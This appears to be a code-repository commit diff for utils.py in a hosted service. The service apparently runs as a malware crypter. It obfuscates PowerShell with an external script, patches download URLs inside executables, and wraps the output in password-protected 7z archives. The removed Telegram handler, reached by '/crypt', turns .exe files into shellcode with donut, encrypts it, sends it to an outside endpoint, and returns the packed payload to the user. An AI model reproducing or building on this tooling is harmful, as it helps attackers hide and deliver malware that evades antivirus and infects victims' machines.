Spaces:
Sleeping
Sleeping
Update utils.py
Browse files
utils.py
CHANGED
@@ -3,15 +3,12 @@ import subprocess
|
|
3 |
import random
|
4 |
import string
|
5 |
from datetime import datetime
|
6 |
-
from flask import
|
7 |
import shutil
|
8 |
import tempfile
|
9 |
import requests
|
10 |
import json
|
11 |
-
|
12 |
-
from telegram.ext import ContextTypes, ConversationHandler
|
13 |
-
|
14 |
-
app = Flask(__name__)
|
15 |
|
16 |
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
|
17 |
UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
|
@@ -22,14 +19,9 @@ OBFUSCATOR_SCRIPT = os.path.join(BASE_DIR, "Obfus", "main.ps1")
|
|
22 |
UPLOAD_URL = 'https://ambelo-benjamin.hf.space/upload'
|
23 |
POWERSHELL_FILE_PATH = os.path.join(PE_FOLDER, "powershell.ps1")
|
24 |
|
25 |
-
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
|
26 |
-
|
27 |
def generate_random_string(length=8):
|
28 |
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
|
29 |
|
30 |
-
def generate_random_password(length=12):
|
31 |
-
return ''.join(random.choices(string.ascii_letters + string.punctuation, k=length))
|
32 |
-
|
33 |
def obfuscate_powershell_script(ps1_path):
|
34 |
try:
|
35 |
cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
|
@@ -196,7 +188,28 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
|
|
196 |
except Exception as e:
|
197 |
raise Exception(f"An error occurred: {e}")
|
198 |
|
199 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
200 |
def process_request(request):
|
201 |
temp_dir = None # Initialize temp_dir to be used in the finally block
|
202 |
try:
|
@@ -261,17 +274,17 @@ def process_request(request):
|
|
261 |
new_string=os.path.basename(download_url)
|
262 |
)
|
263 |
|
264 |
-
#
|
265 |
-
archive_name = generate_random_string() + ".7z"
|
266 |
-
archive_path = os.path.join(temp_dir, archive_name)
|
267 |
password = generate_random_password()
|
268 |
-
subprocess.run([
|
269 |
-
"7z", "a", "-t7z", "-p" + password, "-mx=9", "-m0=LZMA2", archive_path, modified_pe_path
|
270 |
-
], check=True)
|
271 |
|
272 |
-
#
|
273 |
-
|
274 |
-
|
|
|
|
|
|
|
|
|
|
|
275 |
|
276 |
except Exception as e:
|
277 |
current_app.logger.error(f"An error occurred: {str(e)}")
|
@@ -279,100 +292,4 @@ def process_request(request):
|
|
279 |
finally:
|
280 |
# Clean up temporary directories and files
|
281 |
if temp_dir and os.path.exists(temp_dir):
|
282 |
-
shutil.rmtree(temp_dir, ignore_errors=True)
|
283 |
-
|
284 |
-
@app.route('/download/<filename>')
|
285 |
-
def download_file(filename):
|
286 |
-
file_path = os.path.join(UPLOAD_FOLDER, filename)
|
287 |
-
return send_file(file_path, as_attachment=True)
|
288 |
-
|
289 |
-
async def confirm_file(update: Update, context: ContextTypes.DEFAULT_TYPE) -> int:
|
290 |
-
"""Handle file confirmation"""
|
291 |
-
query = update.callback_query
|
292 |
-
await query.answer()
|
293 |
-
|
294 |
-
file_path = context.user_data.get('file_path')
|
295 |
-
|
296 |
-
if query.data == "yes":
|
297 |
-
output_file = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + f"_{query.message.chat.id}.bin"
|
298 |
-
output_path = os.path.join("converted", output_file)
|
299 |
-
try:
|
300 |
-
# Convert the .exe file to a .bin file
|
301 |
-
shellcode = donut.create(file=file_path, output=output_path)
|
302 |
-
|
303 |
-
# Encrypt the .bin file
|
304 |
-
encrypted_file_path = encrypt_bin_file(output_path)
|
305 |
-
|
306 |
-
# Show animated text while processing
|
307 |
-
await query.edit_message_text(
|
308 |
-
"🔄 Processing your file...\n"
|
309 |
-
"🟩🟩🟩⬛⬛⬛⬛⬛⬛⬛ (30%)"
|
310 |
-
)
|
311 |
-
|
312 |
-
# Send the encrypted .bin file to the API
|
313 |
-
with open(encrypted_file_path, 'rb') as bin_file:
|
314 |
-
response = requests.post('https://sigyllly-demo-docker-gradio.hf.space/process', files={'file': bin_file}, timeout=120)
|
315 |
-
|
316 |
-
if response.status_code == 200:
|
317 |
-
# Parse the response to get the .7z file URL and password
|
318 |
-
response_data = response.json()
|
319 |
-
archive_url = response_data.get("download_link")
|
320 |
-
password = response_data.get("password")
|
321 |
-
|
322 |
-
if not archive_url or not password:
|
323 |
-
await query.edit_message_text("❌ Invalid response from the server. Missing archive URL or password.")
|
324 |
-
context.user_data['processing'] = False
|
325 |
-
return ConversationHandler.END
|
326 |
-
|
327 |
-
# Download the .7z file from the archive_url
|
328 |
-
archive_response = requests.get(archive_url)
|
329 |
-
if archive_response.status_code != 200:
|
330 |
-
await query.edit_message_text("❌ Failed to download the .7z file from the server.")
|
331 |
-
context.user_data['processing'] = False
|
332 |
-
return ConversationHandler.END
|
333 |
-
|
334 |
-
# Save the .7z file locally
|
335 |
-
archive_filename = f"processed_{random.randint(1000, 9999)}.7z"
|
336 |
-
archive_filepath = os.path.join("converted", archive_filename)
|
337 |
-
with open(archive_filepath, 'wb') as archive_file:
|
338 |
-
archive_file.write(archive_response.content)
|
339 |
-
|
340 |
-
await query.edit_message_text(
|
341 |
-
"🔄 Processing your file...\n"
|
342 |
-
"🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩 (100%)"
|
343 |
-
)
|
344 |
-
|
345 |
-
# Send the .7z file and password to the user
|
346 |
-
await query.message.reply_document(
|
347 |
-
document=open(archive_filepath, 'rb'),
|
348 |
-
filename=archive_filename,
|
349 |
-
caption=f"✅ File processed successfully! Here is your encrypted file.\n\n🔑 Password: `{password}`"
|
350 |
-
)
|
351 |
-
|
352 |
-
# Clean up the downloaded .7z file
|
353 |
-
os.remove(archive_filepath)
|
354 |
-
|
355 |
-
# Mark process as finished
|
356 |
-
context.user_data['processing'] = False
|
357 |
-
return ConversationHandler.END
|
358 |
-
else:
|
359 |
-
await query.edit_message_text("❌ Error occurred while processing the file.")
|
360 |
-
context.user_data['processing'] = False
|
361 |
-
return ConversationHandler.END
|
362 |
-
|
363 |
-
except Exception as e:
|
364 |
-
print(f"Error in confirm_file: {e}")
|
365 |
-
await query.edit_message_text(text=f"❌ Error occurred: {e}")
|
366 |
-
context.user_data['processing'] = False
|
367 |
-
if os.path.exists(file_path):
|
368 |
-
os.remove(file_path)
|
369 |
-
return ConversationHandler.END
|
370 |
-
else:
|
371 |
-
await query.edit_message_text("❌ Operation cancelled. Use /crypt to try again.")
|
372 |
-
context.user_data['processing'] = False
|
373 |
-
if os.path.exists(file_path):
|
374 |
-
os.remove(file_path)
|
375 |
-
return ConversationHandler.END
|
376 |
-
|
377 |
-
if __name__ == '__main__':
|
378 |
-
app.run(debug=True)
|
|
|
3 |
import random
|
4 |
import string
|
5 |
from datetime import datetime
|
6 |
+
from flask import jsonify, send_file, current_app
|
7 |
import shutil
|
8 |
import tempfile
|
9 |
import requests
|
10 |
import json
|
11 |
+
import secrets
|
|
|
|
|
|
|
12 |
|
13 |
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
|
14 |
UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
|
|
|
19 |
UPLOAD_URL = 'https://ambelo-benjamin.hf.space/upload'
|
20 |
POWERSHELL_FILE_PATH = os.path.join(PE_FOLDER, "powershell.ps1")
|
21 |
|
|
|
|
|
22 |
def generate_random_string(length=8):
|
23 |
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
|
24 |
|
|
|
|
|
|
|
25 |
def obfuscate_powershell_script(ps1_path):
|
26 |
try:
|
27 |
cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
|
|
|
188 |
except Exception as e:
|
189 |
raise Exception(f"An error occurred: {e}")
|
190 |
|
191 |
+
# Function to generate a random password
|
192 |
+
def generate_random_password(length=12):
|
193 |
+
# Use a combination of letters, digits, and special characters
|
194 |
+
characters = string.ascii_letters + string.digits + "!@#$%^&*"
|
195 |
+
return ''.join(secrets.choice(characters) for _ in range(length))
|
196 |
+
|
197 |
+
# Function to create an encrypted 7z archive
|
198 |
+
def create_encrypted_7z_archive(file_path, password):
|
199 |
+
archive_name = generate_random_string() + ".7z"
|
200 |
+
archive_path = os.path.join(os.path.dirname(file_path), archive_name)
|
201 |
+
|
202 |
+
# Use 7z command to create an encrypted archive
|
203 |
+
try:
|
204 |
+
subprocess.run([
|
205 |
+
"7z", "a", "-t7z", "-mx=9", "-m0=LZMA2", f"-p{password}", archive_path, file_path
|
206 |
+
], check=True)
|
207 |
+
except subprocess.CalledProcessError as e:
|
208 |
+
raise Exception(f"Failed to create encrypted 7z archive: {e}")
|
209 |
+
|
210 |
+
return archive_path
|
211 |
+
|
212 |
+
# Function to process the request
|
213 |
def process_request(request):
|
214 |
temp_dir = None # Initialize temp_dir to be used in the finally block
|
215 |
try:
|
|
|
274 |
new_string=os.path.basename(download_url)
|
275 |
)
|
276 |
|
277 |
+
# Generate a random password
|
|
|
|
|
278 |
password = generate_random_password()
|
|
|
|
|
|
|
279 |
|
280 |
+
# Create an encrypted 7z archive
|
281 |
+
archive_path = create_encrypted_7z_archive(modified_pe_path, password)
|
282 |
+
|
283 |
+
# Return the encrypted archive and the password
|
284 |
+
return jsonify({
|
285 |
+
"archive_path": archive_path,
|
286 |
+
"password": password
|
287 |
+
})
|
288 |
|
289 |
except Exception as e:
|
290 |
current_app.logger.error(f"An error occurred: {str(e)}")
|
|
|
292 |
finally:
|
293 |
# Clean up temporary directories and files
|
294 |
if temp_dir and os.path.exists(temp_dir):
|
295 |
+
shutil.rmtree(temp_dir, ignore_errors=True)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|